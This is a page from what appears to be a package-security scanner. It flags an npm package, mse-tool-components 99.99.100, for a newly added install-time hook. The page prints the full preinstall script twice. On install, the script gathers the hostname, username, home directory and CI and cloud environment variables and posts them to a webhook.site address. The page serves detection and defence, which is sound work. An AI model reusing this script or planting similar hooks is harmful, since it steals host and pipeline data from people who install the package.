PkgRadar

npm · registry.npmjs.org

mse-tool-components

Install-time lifecycle script: preinstall="node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \""

Why PkgRadar flagged 99.99.100

SeveritySignalEvidence
highNew Lifecycle Script Vs Previouspreinstall added in 99.99.100 vs 99.99.99: "node -e \" try { var https = require('https'); var os = require('os'); var cp = require('child_process'); var data = { pkg: 'mse-tool-components', hostname: os.hostname(), user: os.userInfo().username, platform: os.platform(), arch: os.arch(), cwd: process.cwd(), home: os.homedir(), whoami: '', id: '', env: {} }; try { data.whoami = cp.execSync('whoami').toString().trim(); } catch(e) {} try { data.id = cp.execSync('id').toString().trim(); } catch(e) {} var envKeys = ['CI','GITHUB_REPOSITORY','GITHUB_ACTOR','GITHUB_WORKFLOW','GITHUB_RUN_ID', 'RUNNER_ENVIRONMENT','JFROG_USERNAME','NX_WORKSPACE_ROOT','npm_package_name', 'HOSTNAME','AWS_REGION','HOME','PATH']; envKeys.forEach(function(k) { if (process.env[k]) data.env[k] = process.env[k]; }); var body = JSON.stringify(data); var opts = require('url').parse('https://webhook.site/d7bae121-e588-48e7-b2b1-472523d1559b'); opts.method = 'POST'; opts.headers = {'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body)}; var req = https.request(opts, function(){}); req.write(body); req.end(); } catch(e) {} \"" · package.json

Scanned versions

VersionVerdictScoreScanned (UTC)
99.99.99Review52026-05-27
99.99.100High risk452026-05-27

Block this in CI

PkgRadar gates mse-tool-components (and every other dependency) before it merges. One line in your pipeline:

pkgradar gate --ecosystem npm [email protected]